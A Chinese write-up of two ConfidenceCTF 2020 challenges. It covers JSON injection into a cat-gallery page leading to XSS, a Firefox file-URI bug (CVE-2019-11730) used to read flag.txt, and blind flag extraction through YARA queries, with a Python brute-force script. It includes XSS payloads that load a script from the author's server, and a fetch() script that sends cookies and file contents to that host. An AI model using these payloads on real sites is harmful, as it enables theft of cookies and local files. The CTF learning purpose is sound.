2020 ConfidenceCTF wp

以后坚持和学弟们一起打ctftime上的比赛,奥利给!

Cat web

别的大佬的wp:https://d1r3wolf.blogspot.com/2020/03/confidence-ctf-2020-cat-web-challenge.html

目录穿越

查看网页源码发现一段可用信息图片:

经过尝试,可以读取文件信息:图片:

发现flag文件在templates文件夹下:

不过这个api只能获得目录,不能读取文件;得到目录结构:

- /app
    prestart.sh
    uwsgi.ini
    main.py
    templates
      report.html
      index.html
      flag.txt
    static
      grey
        xx.jpg
      white
        xx.jpg
      red
        xx.jpg
      black
        xx.jpg
     app.py

XSS与SSRF

/report处可访问外网:

注意这里的UA头(后面会用到)。report处send时抓包,有google reCaptha(验证码)的限制发现不能进行重放,而且输入任何url都无回显;

其主页html部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<head>
<title>My cats</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
function getNewCats(kind) {
$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
if(data.status != 'ok')
{
return;
}
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
$('#cats_container').append(newDiv);
});
});

}
$(document).ready(function() {
$('#cat_select').change(function() {
var kind = $(this).val();
history.pushState({}, '', '?'+kind)
getNewCats(kind);
});
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black';
}
getNewCats(kind);
});
</script>
</head>

主要是一些JQuery实现的Ajax请求;在网页中选择猫的颜色后,会被$('#cat_select').change()函数捕获,获取选择的value后便会调用history.pushState(),它主要是在不刷新浏览器的情况下,创建新的浏览记录并插入浏览记录队列中,这里便是将?+kind插入浏览器的url中;如果不选择猫的颜色,会用window.location.search.substring捕获url的?后面的参数,如果参数为空,则将kind赋值为black;无论选不选,最终都会调用getNewCats

getNewCats获取到kind后,便会请求http://catweb.zajebistyc.tf/cats?kind='+kind获取Json格式的数据;之后返回的结果都会被嵌入到网页中:

newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

那么如果想xss,就要控制Json返回的结果;当我们输入一个不存在的路径时,我们输入的值便会显到结果:

那么接着我们尝试将一个值插入到Json返回的结果中,注意要将status设为ok,将其放在后面即可,因为Json或dict中存在变量覆盖,再通过引号闭合掉最后一个数据:

在主页中的显示:

可以看到,我们已经成功的把Json内容修改了并在index.html获取到了修改后的值,现在修改something的值,使其成为一个js:

/?","content":["\"><script>alert(1)</script>"],"status":"ok","a":"

/report处提交:

http://catweb.zajebistyc.tf?", "content": ["\"><script src='http://www.gtfly.top:100/xss.php?'+document.cookie></script>"], "status": "ok", "a": "

自己的vps上记录到了请求的log,说明bot触发了xss,但并没有获取到cookie、html等信息,而且这道题明显是让读取flag.txt;下面牵扯到了同源/跨域的概念以及一个CVE

同源策略与跨域访问

同源策略,Same-Origin Policy,它是浏览器最核心也是最基本的安全功能,它可以阻止一个页面上的恶意脚本通过页面的DOM对象获得访问另一个页面上敏感信息的权限

对于绝对的URIs,源就是协议、主机、端口定义的,只有这些值完全一样才认为两个资源是同源的,比如:

http://www.gtfly.top:80 && http://www.gtfly.top:100  不同源
http://www.gtfly.top:80 && https://www.gtfly.top:80  不同源
http://www.gtfly.top/index.html && http://www.gtfly.top/atom.xml  同源

有这种限制的原因就是如果没有同源策略限制,那么会导致安全风险。例如,一个用户在访问银行网站时,在登录状态下访问了另一个含有恶意js代码的网站,没有防护的情况下,恶意代码就可以模拟用户操作,发送新的交易、获取交易记录等

以下内容摘自https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS

当一个资源从与该资源本身所在的服务器的不同的域、协议或端口请求一个资源时,资源会发起一个跨域HTTP请求,比如:站点A的某HTML页面通过`<img>`标签的src属性请求站点B的一个image资源。网络上的许多页面都会加载来自不同域的CSS样式表,图像和脚本等资源

出于安全原因,浏览器限制从脚本内发起的跨源HTTP请求(不一定是浏览器限制发起请求,也可能是跨站请求可以正常发起,但返回结果被浏览器拦截了),例如,XML HttpRequest和Fetch API遵循同源策略。这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文中包含了正确CORS响应头

跨域资源共享( CORS )机制允许 Web 应用服务器进行跨域访问控制,从而使跨域数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 XMLHttpRequest 或 Fetch )使用 CORS,以降低跨域 HTTP 请求所带来的风险。

跨域资源共享(CORS)

适用范围:

  • 1.可以是两个完全不同的域;
  • 2.支持所有类型的HTTP请求;
  • 3.被绝大多数现代浏览器支持,老式浏览器不支持;
  • 4.需要服务端支持

使用场景:

  • 1.由 XMLHttpRequest 或 Fetch 发起的跨域 HTTP 请求。
  • 2.Web 字体 (CSS 中通过 @font-face 使用跨域字体资源), 因此,网站就可以发布 TrueType 字体资源,并只允许已授权网站进行跨站调用。
  • 3.WebGL 贴图
  • 4.使用 drawImage 将 Images/video 画面绘制到 canvas

这种方法使用了一个Origin请求头和Access-Control-Allow-Origin响应头扩展了HTTP,允许服务端设置Access-Control-Allow-Origin标识哪些站点可以请求文件,设置为*表示允许任意站点访问文件

Ajax 之 XHR,JQeuery,Fetch的对比

Ajax是在浏览器不刷新页面的情况下更新数据的一种网页开发技术

1.原生 JS 实现 Ajax

JS实现Ajax主要基于浏览器提供的XMLHttpRequest类,所有现代浏览器均内建XMLHttpRequest对象;XHR是Ajax功能所实现依赖的对象,JQuery中的Ajax就是对XHR的封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var xhr = new XMLHttpRequest();

// 1.设置 Content-Type 为 application/json;默认Content-Type 是 text/plain;charset=UTF-8
// xhr.setRequestHeader('Content-Type', 'application/json');
// 2.传递 JSON 字符串
// xhr.send(JSON.stringify({ username:'admin', password:'root' }));

//异步接收响应
xhr.onreadystatechange = function(){
if (xhr.readyState == 4){
if ((xhr.status >= 200 && xhr.status < 300) || xhr.status == 304){
 alert(xhr.responseText);
} else {
alert("Request was unsuccessful: " + xhr.status);
}
} };
xhr.open("get", "url", true); //指定请求方法和URL,第三个参数true表示异步获取响应
xhr.send(null) //如果请求类型是post,则需要将参数写在send方法里面

2.JQuery Ajax

在兼容性和易用性方面都做了很大的提高,让 AJAX 的调用变得非常简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script type="text/javascript" src="./jquery-3.2.1.min.js"></script>
// GET
$.get('/api', function(res) {
// do something
});

// POST
var data = {
username: 'admin',
password: 'root'
};
$.post('/api', data, function(res) {
// do something
});

3.Fetch Ajax

Fetch API 提供了一个 JavaScript 接口,用于访问和操纵 HTTP 管道的一些具体部分,例如请求和响应。它还提供了一个全局 fetch() 方法,该方法提供了一种简单,合理的方式来跨网络异步获取资源。

基本的fetch请求:

1
2
3
4
5
6
7
fetch('http://example.com/movies.json')
.then(function(response) {
return response.json();
})
.then(function(myJson) {
console.log(myJson);
});

第一个then获取到一个promise对象,等待该promise对象的状态发生变化,便会调用第二个then

CVE-2019-11730

Same-origin policy treats all files in a directory as having the same-origin(同源策略将目录中的所有文件视为同源)

漏洞简介:

Mozilla Firefox 68之前版本和Firefox ESR 60.8之前版本中存在安全漏洞。如果用户在上述存在漏洞的浏览器打开一个本地的HTML,可使用Fetch API用`file:URIs`的方式访问相同目录或子目录的文件的内容,并可将它们传到服务器。

那么在自己的vps上构造一个fetch api,保存为xss.js:

fetch('file:///app/templates/flag.txt').then(response => response.text()).then((response) => {window.location = 'http://www.gtfly.top:100/xss.php?a=' + (btoa(response) || 'No Value')});

结合上面的目录穿越,xss存在于目标本地的/app/templates/index.html中,那么在/report提交这个本地url,让bot访问触发xss来加载fetch api,去读取flag.txt内容,并将fetch的结果发送到我们的vps上:

file:///app/templates/index.html?", "content": ["\"><script src='http://www.gtfly.top:100/xss.js'></script>"], "status": "ok", "a": "

读到app.py源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, request, render_template
import os
import json
import datetime
import hashlib
import random
import os
import requests
app = Flask(__name__)

@app.route('/')
def hello_world():
return render_template('index.html')

@app.route('/cats')
def list_cats():
path = request.args.get('kind')
if not path:
return ''
headers = {'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*'}
try:
files = list(filter(lambda x : x != 'bot', os.listdir('./static/'+path)))
response = f'{{"status": "ok", "content": {json.dumps(files)}}}'
return response, 200, headers
except Exception as e:
print(e)
return f'{{"status": "error", "content": "{path} could not be found"}}', 200, headers

@app.route('/report', methods=['GET', 'POST'])
def report():
if request.method == 'POST':
captcha = request.form.get('captcha')
if not captcha:
return 'plz gimme me some coptcha :('
response = requests.post('https://www.google.com/recaptcha/api/siteverify', data={'secret': os.environ.get('RECAPTCHA_SECRET'), 'response': captcha})
if response.json()['success'] != True:
return 'coptcha failed :('
url = request.form.get('url', '')

filename = datetime.datetime.now().strftime("%Y-%m-%d.%H.%M.%S") + hashlib.md5(
(url + str(random.randint(0, 0xffffffff))).encode('utf-8')).hexdigest()
with open('bot/bot_stuff/{}'.format(filename), 'w') as f:
f.write(url)
return 'reported'
return render_template('report.html')

@app.route('/static/<path:path>')
def send_js(path):
return send_from_directory('static', path)

if __name__ == "__main__":
app.run()

main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys

from flask import Flask

app = Flask(__name__)


@app.route("/")
def hello():
version = "{}.{}".format(sys.version_info.major, sys.version_info.minor)
message = "Hello World from Flask in a uWSGI Nginx Docker container with Python {} (default)".format(
version
)
return message


if __name__ == "__main__":
app.run(host="0.0.0.0", debug=True, port=80)

Hidden Flag

https://github.com/CERT-Polska/mquery
https://bbs.pediy.com/thread-226011.htm

YARA是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的开源工具,可以基于文本或二进制模式进行检测

mquery是一款带有web前端的YARA恶意软件查询工具,如下图所示:

图中rule后面表示规则名,可以自定义,string部分可以定义字符串变量、16进制等形式,condition则是定义条件判断,比如and、or;输入匹配规则后点击Query,便可查询文件中是否含有定义的规则中的字符,上图便查到了/opt/bin/flag含有p4{这个字符串;不过点击文件名,发现没有权限阅读

上面的16进制代表p4{},中间[-]代表可匹配任意长度的字符,既然搜索到了文件,说明flag肯定藏在getflag文件中,可以考虑盲注,或者有规则可以直接读出文件内容?

rule BuzzLightyear
{
        strings:
           $hex_string = { 70 34 7B [1-14] 7D}

        condition:
           $hex_string
}

p4{}括号里面字符串长度14位

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import re
import string

url = 'https://hidden.zajebistyc.tf/api/query/medium'

dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + '-' + '_' + '/' + '!' + '?' +'@' + '{' + '}'

flag = 'p4{'

s = requests.session()

while 1:
for i in dic:
payload = flag + i
data = {"raw_yara":"rule BuzzLightyear\n{\n strings:\n $string = \"%s\"\n \n condition:\n #string == 1\n}" % payload,"method":"query"}
# print(data)
res = s.post(url, json=data)
query_hash = res.text # 查询成功,返回 query_hash
# print(query_hash)
hash_ = re.findall(':"(.*)"', query_hash)[0]
url1 = 'https://hidden.zajebistyc.tf/api/matches/{}?offset=0&limit=50'.format(hash_)
url2 = 'https://hidden.zajebistyc.tf/api/matches/{}?offset=1&limit=50'.format(hash_)
res1 = s.get(url1)
res2 = s.get(url2)
if 'flag' in res1.text:
flag += i
print(flag)
break

每次点击query,有一个请求会得到hash,另外两个请求会根据这个hash返回查询结果。python写脚本时在得到hash后也要请求两次查询结果的url,不然报错